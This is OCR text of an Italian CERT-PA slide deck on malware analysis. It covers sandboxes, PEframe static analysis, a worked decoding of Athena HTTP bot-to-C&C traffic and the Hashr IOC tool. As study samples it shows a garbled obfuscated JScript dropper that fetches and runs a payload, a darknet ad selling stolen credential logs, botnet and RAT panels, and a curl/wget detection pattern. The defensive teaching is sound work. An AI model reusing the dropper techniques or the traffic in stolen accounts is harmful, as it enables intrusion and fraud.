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Perche analizzare il malware?

Per investigare su un incidente e rispondere ai seguenti quesiti:

- Qual e lo scopo del malware?

_Quali informazioni e riuscito a carpire?

- Dove sono state trasmesse le informazioni?
- Come ha fatto ad arrivare fin qui?

Produrre firme per bloccare/mitigare l'infezione.
Attivita forense.
Attivita di intelligence.
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Tipologia di analisi

. Automatica . Statica
Sandbox -~ . Signatures

. Dinamica . . Manuale

Network _ Reverse engineering
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Quanto tempo occorre?

Il tempo necessario per analizzare un malware e direttamente proporzionale
alla sua complessita.
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Evoluzioni Techiche e Motivazionali
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Packing

Dbg
Detection

VM
Detection

Cryptography

Obfuscation

Senior Security Analyst presso il CERT-PA g.amato@cert-pa.it



Agenzia per |’Italia Digitale

Presidenza del Consiglio dei Ministri

COMPUTER EMERGENCY RESPONSE TEAM
w\ PUBBLICA AMMINISTRAZIONE

€, setnerinss v
o

Surveillance Tools - Blackmarket
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& Connection »

B System »

i Organize »

¢ Manage »

Network »

Surveillance >

& Tooks » (] Instant Message. |

Remote Execute » | LocalFile.
€3 Update Client » [@ WebFile.

== Clear Memory
B ClearProcesses
# Request Elevation

REMOTE
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REVERSE

PROXY PLUGINS
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Adds various functions. settings. and information about cliants. It is recommendad that you leave this plugin
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. Fast and stable remote surveillance
— Remote Desktop
-~ Remote Webcam
— Audio feeds
—  File transfer
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Government Account - Blackmarket
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100K BOTNET STEALER LOGS. LOGINS TO LITERALLY ALL
MAJOR SITES - LOWERED PRICE AND UPDATED LIST A BIT -

THis is a my private list of logs that i have gotten from my password stealers. They are a bit old (
approximately 1 year ) so thats why only 50%. You will still find alot of working accounts for all sorts of sites,
these have never been shared elsewhere, Almost 100k, more specefic, 95k logs Including: File contains
681 paypal accounts 2515 Facebook accounts Even lots of .gov accounts Tons o...

Sold by Thegamblerguy - 3 sold since Jul 26, 2016 U0 LI NEE R W TE g R0

Features Features
Product class Digital goods Origin country Worldwide
Quantity left Unlimited Ships to Worldwide
Ends in Mever Payment Escrow
| Delivered asap - 1 days - USD +0.00/ item ;]

B0 N

Purchase price: 5D 50.00
Qty: |1 @& Buy Now

0434 BTC 7 2.4950 MR

Description Bids Feedback Refund Policy

Product Description

THis is a my private list of logs that | have gotten from my password stealers. They are a bit old ( approximately 1 year ) so thats why only 50%. You will
still find alot of working accounts for all sorts of sites, these have never been shared elsewhere, Almost 100k, more specefic, 95k logs Including:

File contains 681 paypal accounts
2515 Facebook accounts
Even lots of .gov accounts

Tons of other acc. Feel iree to pm and ask me to do a check and i will do it

Almast 100k accounts, in ane file. You wont find this elsewhere
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Vault 7: CIA Hacking Tools Revealed
. Set di strumenti in grado di: - Allo scopo di:
- Offuscare codice nocivo; — Mascherare malware, trojan e attacchi
—  Implementare tecniche Anti-Forensics. di hacking;

— Evitare che un attacco possa essere
ricondotto alla CIA.
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Il codice di Marble e Pubblico

| [— | | .
-| - - Conseguenze del codice
pubblico
farble marble marbleextension |
I l

= | ] Aiuta a scrivere firme Potrebbe finire

-l - - per individuare gli nelle mani
marbleextensionbuil marbletester stringobfuscation attacchi Sbag liate

ds

- Il framework e composto da 676 file; - Marble e stato utilizzato dalla CIA nel 2016;
- 35.150 righe di codice accessibili pubblicamente. - Laversione 1.0 risale al 2015.

https://wikileaks.org/ciav7pl/cms/page_14588467.html
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Russo, cinese, arabo e farsi

int wmain(int arge, wchar_t* argv[])

eam, directory,

urns a han d the flags and a

ed for tran:

e=ign languages

abic[] = L7las ¢ Lysaiyl Laipds aid oJe phag SadldS) ppided iales gyl A0 paglaiit +Liadl pld 2 ogo 40 Guaddl JLaddl gadb ,dus +3isly gaidl «4LiZIl J€ calSla slaj Jaz Tr

rd tublad Al aaip

1= LUkt IRARIE RN B R, RRE MRS BrE B EE REER SER SEE @ 25 0 20 SO% GRE, E RR RER RS 0 R RN SEE W5 BaE AW NEH | 88, NEN R e W mE

IyC IEeEaM SOMKOPE 53. RH IRXMT MONBIMS ISNbRAKaTEsmMA EAT. Hs wonn pefow wanexop

SDTAnT, Santid TXSOMXPAETYS aH M3A. ¥T B3N xafemy

SMSPaHT MMBTPYKTEOP, Ky ZanspsT

ean[] = L"AMBE =%s 73 W2 930t YA, F29, FU FHE, HE FEH2 9IS YAU 3012 VS 20|13 ge HUHE FHR. FUE Loren Ipsml| F2E AHESHME J9, SH2 H252] V200 242 A7 ¥ SiChe ZUSHORLCH":

Mascherare gli hack della CIA e concentrare I’attenzione degli investigatori su altri Paesi.

https://wikileaks.org/ciav7pl/cms/page_14588467.html
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Analisi Automatica (PRO)

Malwr

Hybrid-analysis

Le sandbox rappresentano il modo piu semplice per valutare la natura di un file
sospetto. Sono strumenti completamente automatizzati, progettati per analizzare

rapidamente (< 3 min) un sample;
Producono report con importanti dettagli relativi all'attivita dei file sul sistema, al
traffico di rete, etc.

www.cert-pa.it
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Analisi Automatica (CONTRO)

Malwr

Hybrid-analysis

Malware evoluti includono componenti in grado di individuare ed eludere le
sandbox piu note. A volte cambiando comportamento;

Le sandbox online censiscono i sample sottomessi. Se si sta investigando su un
caso che richiede segretezza e vivamente sconsigliato fare uso di strumenti online.
Cuckoo sandbox installato localmente potrebbe essere una valida alternativa.
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Quando e necessaria I'analisi
Manuale

Decodificare informazioni
crittografate, memorizzate o
trasferite dal sample;
Determinare la logica di un
algoritmo che punta a domini
differenti in base a determinate
circostanze;
Individuare funzionalita non

> _ rilevabili da analisi
e automatizzate.

httpu//abortppier.top/admin.php?f=2.jpg
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Automatizzare quando e possibile
I"analisi manuale

1 import re 7y Var auvocacy={ Casque” ¥ WSCTIPU=="Casque ¥ ~VZLlUZual CNiVesysCyBTYSIPCAYYar CIIIVESSUYZUA=ar CIILVES="" MLamL¥
2 ())&&selecting["c3archivesRhdHarchivesvz".miami4()] +""=="MjarchivesAw".miami4()&&typeof(GzEAPd)==="undefined";
3 filename = 'DOC 320560686.] 180
4 181 if (advocacy) {
5 ?uith open(filename, 'r') as file: 182
6 data = file.read().split('\n") 183 var brings = new logan((("trollope","ingram","going","polar","parallel”,"better","composite","vertigo","A")
7 +("acceptance”,"medication","slayer","united","rover", "tokyo","armed", "penal”, "SE00")
8 for str in data: +"DB"+("trigger","raven","vaccination","elated","extras","prosecutor","terrestrial®,".S")+"tr8").replace("SEO",
9 uMatch = re.findall( u[0-91{3} {1}', str) "D").replace("8", "eam"));
10 for u in uMatch: 184 brings[architectural]();
11 str = str.replace(u, u.decode( ode-escape’)) 185 RhXxGud = " F9 *;
12 print (str) 186 brings.type = chosen;
13 187 hGasMa = " F1e_";
. 188 brings["d3JarchivespdGU=archives".miami4 ()] (selecting
V2 Terminale - 4+ x [("outing","christening","tyrannical","irksome", "essex","gasoline","literally","")+"R"+"es"+"pon"+unlike['U"'].toLowe
File Modifica Visualizza Terminale Schede Aiuto +"e"+"Qarchivesm9keQ=archives=".miami4()]);
T 7 = 2 F p 1 189 XWaxeQhw = " F11 ";
190 brings[(casque + "o"+("sheet","ronald","except","vigil","abjure","lawsuit", "anomalous","subtle","00")
+("unexpected", "rigged”,"limit", "oneness","lakes","realistic","fatuous","8i")+"tion").replace

("0"+("hypothesis", "loudness", "cocoa", "equipment", "wrench", "carouse","msgstr","08"), inflammation)] = 0;
191 krDwvrh = " F12 *;

192 brings.saveToFile(appropriations, 2);
193 SswQdi = " F13 *;

194 brings.close();

195 XWwfgMw = " F14 ";

196 rampart[promises] (appropriations, chosen, true);
197 }

198 } catch (fbhBGzsX)

199 KKKnoPGE = " F15 "; [i;

200

201}

202 try{

203 school("http://"+"\u@073h\ubO65r\udO6CO\uBOE3K"+" \UBB2EU\UBO761\uOB73h\UAB65r\uBO6S. \udO630\UOB6D/\UBO389\UBB75g\udd
\u@037u\uee69" + "?TLLwzVg=kkbuhVhPv","iwmBjyujp");}catch(UKhpApne){

204 LyzGRySP = " F16 ";}

205

~ 206
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Caso Studio

Decifrare la comunicazione tra un BOT e il C&C
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Athena HTTP

) - imvmmne
/A\Theng HTTD Nelcome, root Help | Logout

Botlist

DDoS Panel

Botlist

Website Checker BotIld Country IP Address Operating System Ram Usage Version Last Seen Status

Create Command

Previous

Active Commands
User Management

Preferences

Status

DDoS

Botkiller

Computer Statistics

Country
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OSINT/CLOSINT

Deep web

e Sorgente del C&C + Builder

Forum riservati

e Contributo alla ricerca
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Comunicazioni Cifrate

0}
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SIS v .
BOT -> C&C

d=
"%62%33%5A%6A%61%58%42%33%61%6E%A46%6B%61%33%68%6C%63%6E%6C%73
%63%32%5A%36%62%58%52%6E%59%57%35%31%61%47%49%36%61%57%39%32
%59%33%42%33%61%6E%52%68%5A%32%35%6F%64%57%A4A%6B%63%58%68%72
%5A%58%4A%35%62%48%AE%6D%65%6D%30%3D"

b =
"xHR5VGU6BVeVWZWFOxHVpZDiwODI2MTU3MDy4NjFzMTEnZTBgYWNgYWQ4MDZgN;

E3MjY5NeZ8veFrOjE2xGJuX2rpmGndZDiwxGJuX2ZpmGVkOjB8Yerx|2V5vkiwxGl1v3g6Z
eFqv2V8"

Cc=
"%64%6A%71%78%64%6B%72%78%65%6C%72%79%65%6C%73%79%66%6D%73%7
A%67%6D%74%61"
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BOT <- C&C

r=
"ZGpxeGRrcnhlbHI5ZWxzeWZtc3pnbXRhZgaqaWRHVsdgmUZkUFRua2ZBPTOKZgzSIGM
baHBIRDB5ZgaOaelXMWzcmVES5SVzIvFpYY2agM2QkTG5qIGFHOXZMmU52Ydz3PQi="
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Url Encoding / Decoding (a)

"this is a test" =2 %22this%20is%20a%20test%22
%22this%20is%20a%20test%22 = "this is a test"

a=
"%62%33%5A%6A%61%58%42%33%61%6E%46%6B%61%33%68%6C%63%6E
%6C%73%63%32%5A%36%62%58%52%6E%59%57%35%31%61%47%49%36
%61%57%39%32%59%33%42%33%61%6E%52%68%5A%32%35%6F%64%57
%4A%6B%63%58%68%72%5A%58%4A%35%62%48%4E%6D%65%6D%30%3D

l

“b3ZjaXB3anFka3hlcnlsc2Z6bXRnYW51aGI6aW92Y3B3anRhZ250dWJkcXhrzX)
5bHNmemO0="
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Base 64 Decoding (a)

a=
“b3ZjaXB3anFka3hlcnlsc2Z6bXRnYW51aG16aW92Y 3B3anRhZ250dWJkecXhrZXJ
5bHNmMemO0="

a = “ovcipwjqdkxerylsfzmtganuhb:iovcpwjtagnhubdagxkerylsfzm?”

\ }
|
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(i—0), (0—V), (v—=c), (c=1), (p—p), (W—w), (=) (t=0), ..., (m—b)
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Sostituzioni (b)

"XHR5vGU6vVeVWZWFOXHVpZDiwODI2ZMTU3MDyY4NjFzMTENZTBgYWNgYWQ4MDZgNjJE3MjY5NeZ8veFrOjE2x
GJuX2rpmGndZDiwxGJuX2ZpmGVkOjB8Yerxl2V5vkiwxGJ1v3g6ZeFqv2V8"

!

(i—0), (0—=V), (v—=c), (c=1), (p—p), (W—w), (j=)) (t=9), ..., (m—b)

b- !

"fHR5cGU6CcmMVWZWFOfHVpZDowODI2ZMTU3MDg4NjFhMTEXZTBKYWNKYWQ4MDZKNJE3MjY5NmMZ8cmFtOjE
2fGIrX2tpbGxIZDowfGIrX2ZpbGVzOjB8Y mtfa2VV5czowfGJ1c3k6ZmFsc2V8"

Base64 Decoding

type:repeat|uid:082615708861allle0dacdad806d6172696f|ram:16|bk_killed:0|bk_files:0|bk_keys:0|busy:false|

Gianni Amato www.cert-pa.it
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Url Decoding (c)

« C=
"%64%6A% /1% 78%64%6B%72%78%65%6C%72%79%65%6C%73%79%66%
6D%73%7A%67%6D% 74%61"

. ¢ ="djgxdkrxelryelsyfmszgmta™

Base64 Decoding

Gianni Amato www.cert-pa.it
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Sottrazioni (r)

¢
"7 GpxeGRrenhlbHISZ\Wxze\W Ztc3pnb X RhZgagaWRHVsdgmUZKUFRua2Z
BPTOKZgzSIGMbaHBIRDB5ZgaOaeJXMWzcmVESSVzIVFpYY 2agM2QkTG5q

IGFHOXZMmU52Y dz3PQi="

- .

r ="ZgagaWRHVsdgmUZkUFRua2ZBPT0KZgzSIGMbaHBIRDB5ZgaOaeJXMW
zcmVESSVzIVFpY'Y2agM2QKkTG5qIGFHOXZMmUS2Y dz3PQi="
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Base64 Decoding (r)

fGludGWydmFsPTkwfA==

linterval=90|

fHRhc2tpZDOyfGNvbW1hbmQ9IXZpZXcgd3d3LnlhaGOvLmNvbhXw=

[taskid=2|command=!view www.yahoo.com|
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Alcuni strumenti utilizzati dal
CERT-PA

Strumenti open source utilizzati dal
CERT-PA;

Strumenti pubblici realizzati dal CERT-
PA;

Strumenti privati realizzati dal CERT-PA.
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Virtualbox

VirtualBox

Sono ormai frequenti i malware progettati per lavorare in un ambiente specifico.
Virtualbox consente di gestire agevolmente differenti ambienti operativi (Windows
XP, Vista, Seven, Windows 10);

Nota: Un laboratorio di malware analysis non puo prescindere da ambienti fisici su cui testare i sample che dispongono
di componenti anti virtual machine.

https://www.virtualbox.org/wiki/Downloads
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Cuckoo Sandbox

cuckeotz”

kFie @ URL

Advanced Options

Back to the top

Una delle migliori soluzioni sandbox, open source, per I'analisi comportamentale
dei sample.

https://cuckoosandbox.org/download.html
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Proprieta e Informazioni statiche

Hash . APl sospette

Packer . Stringhe

Certificati . Meta-data information
Codifiche Xor . Tecniche di anti Debug

Sezioni sospette . Tecniche di anti Virtual Machine
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Informazioni statiche con PEframe

Stringhe
individuate
dal fuzzer

https://github.com/guelfoweb/peframe
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Certificati, Compilatori e codifiche
Xor - PEframe

Gianni Amato
Senior Security Analyst presso il CERT-PA

for Termina

Short information

File Name 99208102 .neusteBotlLoader.exe

File Size 1313280 byte

Compile Time 1970-01-01 ©1:45:58

DLL False

Sections 3

Hash MD5 Bcdf35T64032b693deda3at42479d o6

Hash SHA-1 2a7cb36cc90558956dc2a39ac21b75e07a66b9b4
Imphash fOadefaal8f6b0a34ad4fa23392e21838
Detected Xor

Directory

XOR discovered
Key length 0ffset (hex) 0ffset (dec)

1 Oxb2ece 485198
Ox62ece 485198

2
4 Ox62ece 485198
8 Ox62ece 485198

Suspicious Sections discovered [1]

Hash MD5 92005103e39a63e13ffbb3a23915a405

Hash SHA-1 46d3eefd538fc207d86166T782158288c08a038f
File name discovered [2]

KERNEL32.d11
Database 0.DB

www.cert-pa.it
g.amato@cert-pa.it
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Malware Unpacking

Peframe v. 5.0.1 Peframe v. 5.0.1 Apialert info
Short information Short information CloseHandle
CreateFileA
File type PE32 executable (GUI) Intel 80386, for MS Windows File type PE32 executable (GUI) Intel 80386, for MS Windows CreateFilew
File name sample.exe File name sampled.exe
File size 49152 File size 73728 CreateMutexA ‘
Hash MDS 1f803e73261d874b4febe7cd4ce78abd S Hash MD5 c2febcabsb2bfdfe3c8a948bes57f2647 DeleteCriticalSection
Compile time 2009-04-18 14:39:39 Compile time 2009-04-18 14:39:39 DeviceIoControl
Sections 3 (2 suspicious) Sections 4 (® suspicious) GetCommandLineW
Directories import, resource Directories import, res GetCurrentProcess
Detected packer Detected ex, antidbg
Import Hash f9ad4edbldd40f3773e73c8117b8161be Import Hash 5b559a304e8739dd60aa3cdc7b GetPI’DCﬁKddI’ESS

GetVersionExA
paker info Paker info LoadLibraryA
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, ReadFile
UPX v0.80 - v0.84 = ReleaseMutex
UPX 2.90 (LZMA) _/_ SetFilePointer
UPX -> www.upx.sourceforge.net Sleep

) S TerminateProcess
Import function 1896 h4vs VERSION INFO?StringFileInfoe4e
____________________________________________________________ - - WsASend
ADVAPT32.d11 Impor i WSAstartup
KERMEL32.DLL 6 e WaitForSingleObject
MSVCRT.d1l APUAPI3Z2.d11 2 WriteFile
ws2 32.d11 ERNEL32.DLL 46 closesocket
WSOCK32.d11 m:\;cg :H 20 connect
Apialert info WSOCK32 . d1l 15 socket
ExitProcess Antidbg info Url found
GetProcAddress 02020200000 M e mmemmmmmmmmem—mmmmmmmm—e==== mEmEessssssssssssssssssssssssssssssss=s====s
LoadLibraryA GetLastError http://
VAATE G TerminateProcess http://www.zeustech.net/
VAT ARES http://www.apache.org/licenses/LICENSE-2.0
VirtualProtect Mutex info
___________________________________________________________ http://www.apache.org/
url found CreateMutexA http://www.zeustech.net/<br
------------------------------------------------------------ Titex https://
http://www.apache.org/licenses/LICENSE-2.0 WaitForSingleobject http://www.apache.org/<br
Sample compresso con UPX Sample originale
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Malware Collection with PEframe

Comparare i sample al fine di individuare similitudini nelle metodologie e nella
progettazione.

"fuzzing": {
"String too long": "[A-Za-z©-9+/]{80,}",
"Possible encoded string": "(\\\\x[abcdef][abcdef|0-9]){3,}",
"Possible connections": ".*(curl|wget).*",
"Andromeda file": "TIPOFDAY.TXT" e mmmm—
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Progetti che fanno uso di PEframe

Blockl About

Latest Analyses &
Page 1 j >

Submission File name MD5 IsDLL  Packer Antidbg  AntiVM  Signed  XOR
2017-03-20 22:50:03 nethost.exe 5455ecfa3517b0ab95e6157e78a39841 o - o n ° ‘
2017-03-18 18:40:03 =30 581605849579c34 7bcad0c3%ecs 1 el 4 o o o o ° o
2017-03-18 18:18:04 winzip19-es.exe b46119018f79cffd28495b962586815 o n - o n °
1 T 0T
2017-03-18 18:08:02 Zip-setup.exe 162a083c695¢422¢83¢2695bb3ef! 1¢6 P n n o n °
2017-03-18 17:46:08 convert2.exe 55b8ac344¢308de776c0f4144083¢526 o n n o o o
PE
Date Added URL Host Country MD5 VirusTotal  Report

2017-03-17 21:02:05 admin.php?t=2.git 087e19501e7260dd2d026f800c1 12247 o n n o o o

March21, 2017 hitps:is3-us-aest1. amazonaws. com/ph y/can axe stammowwsco  US  a6223568coda388018en1aidal 8181 View
2017-03-17 19:26:07 kzinst.exe 8e71ci69d1baedb32abeb34dB8cSible o n n o n o

March21, 2017 hitpipontacont comViazz_cufputS0FODO exe pontacoot com BIB30652609036307T00IMI20N 0161 View
2017-03-17 19:20:05 ZipCloud_Weblnstaller.exe 404didchdSad118acaldaldeeeach02 o . o . °

March21, 2017 hitpigoodnawssdreat com/SER10110117718 exe US  b7bceSal0BESION0fep0302254a36152 Viow
2017-03-1719:12:03 nethost.exe 18391b58444ae0cB9b71aed2f 168207 o n o n o Merch21, 2017 ipdidrectink caldomioadHAc7cAst exe ki y TSI e00 18160 View
2017-03-17 18:32:04 cpuminer-x64.exe 485021053bcf2idd7didi6091210046d o n n o o il E——— oI g S bl MR kg

March 21, 2017 itp://SINACO. com pk/stats/dan'dan exe 5inaco,com pk us 44640701 191898290r 50030072740 1/ 60 View
2017-03-17 18:24:03 unzip.exe 75375c220721 beb76beaddcealedss o n ° ° o
2017-03-17 18:12:06 winstat2008.exe 1166529949eda31dcee0dad60a576792 o n o ° ° o

-

2017-03-17 18:10:03 player.exe a07ebed93884e894971c2254bc30264b ° . . o ° ° openBlackLl st S . D F I R

Honeypot

DIGITAL FIORENSICS & INCIDENT RESPONSE

. https://infosec.cert-pa.it . https://remnux.org

. https://tracker.phage.nz . http://openblacklist.co
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Detection A\

In caso di incidenti rilevanti, il CERT-PA distribuisce alla propria constituency
indicatori di compromissione basati su hash.

In chiaro . In forma cifrata
_qualora le informazioni trattate _nel caso di indagini che
sono di pubblico dominio richiedono di garantire la

riservatezza delle informazioni
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Hashr e un tool scritto e mantenuto
dagli analisti del CERT-PA

filetype FILETYPE] [-e] [--hashlist FILE] - Consente di computare hash dei file e
ricercare corrispondenza su una lista di
hash predefinita (ad esempio 10C di
hash);

- Distributito alla constituency;

Tipologie di ricerche

- Ricerche ricorsive;
- Ricerche per tipologia di file;

. Non e di pubblico dominio

Gianni Amato www.cert-pa.it

Senior Security Analyst presso il CERT-PA g.amato@cert-pa.it



. N . . . / COMPUTER EMERGENCY RESPONSE TEAM
AgenZIa pcr l Ila’:lll‘d D]g]ta]e K{.\_ PUBBLICA AMMINISTRAZIONE
. L o CERT - PA
Presidenza del Consiglio dei Ministri \% € sotsmerinssvims

HASHR Algoritmi

s C:\WINDOWS\system32\cmd.exe « Has h I su p p orta | se g ue ntl

C:“hashr*hashr.exe nd5 c:xmalware.exe ——hashlist c:“md5_ioc.txt.enc —encrypted algoritmi:

3 _NC D C NN
o2 ¥ 0 __sr ~
b ONED I G G > NN MD5
hashlist encrypted = True

www.cert—pa.it | cert—paBcert—pa.it
hashlist path : ciwmd5_doc.txt.enc
]

hashr v.0.2.3
giigeieeltgl;d.gd i E smaluare .exe B S H A_ 2 5 6

searching for : md5
78417 fel11Pfed4160492d4aeaB?f1838 c:malware.exe

——[ 1 files processed in B.8 seconds _ Import HaSh
——[ 1 file found in hashlist
——L[ @ empty file found

C:vhashe>_

Supporto hash cifrati con algoritmo proprietario del CERT-PA
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HASHR file di output

18 P pbes
= ' ' JEUI

File Edit Format View Help
b0c88c03e69bb78acf78f85ee71189c9 c:'\malware'sample. exe

IC:~hashr>hashr.exe nd5 c:wmalware ——hashlist my_hashlist_md5.txt —o found.txt

<
— > e
I | GHE NI [ SR

wuw.cert—pa.it | cert-palBcert-pa.it
hashr v.8.2.2

——[ directory napping : c:smalware

——[ hashlist path : my_hashlist_md5.txt

——[ hashes loaded H

——L[ files found H

——[ searching for : md5s

hBc8BcA3es?bb?Bacf 78fB85ee?118%c? c:\malwaressample .exe
——L[ 1 files processed in B.8 seconds

——[ 1 file found in hashlist

——[ A duplicate hash found

——L[ @ empty file found

C:~hashr>

Ln 1, Col 1

Utilizzando I’opzione «-0», I risultati della scansione verranno salvati su file di testo
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HASHR e i Rootkit

. Hashr non e in grado di rilevare file utilizzati da componenti rootkit mentre
il sistema e in funzione in quanto, per loro natura, i rootkit lavorano in
kernel-mode con lo scopo di sfuggire ai software antivirus e garantirsi la
persistenza sul sistema.

. Hashr potra essere utile allo scopo solo lavorando su unita disco collegata
come device esterno.
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HASHR e il Builder per la cifratura

i bk

. 1l builder, lo strumento usato per la cifratura, non viene distribuito alla
constituency;

. Le hashlist cifrate possono essere generete esclusivamente dal CERT-PA,;

. |l CERT-PA i riserva di valutare eventuali proposte di cifratura provenienti
dai membri della constituency e della community che ne fanno esplicita
richiesta.
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Grazie per l'attenzione!
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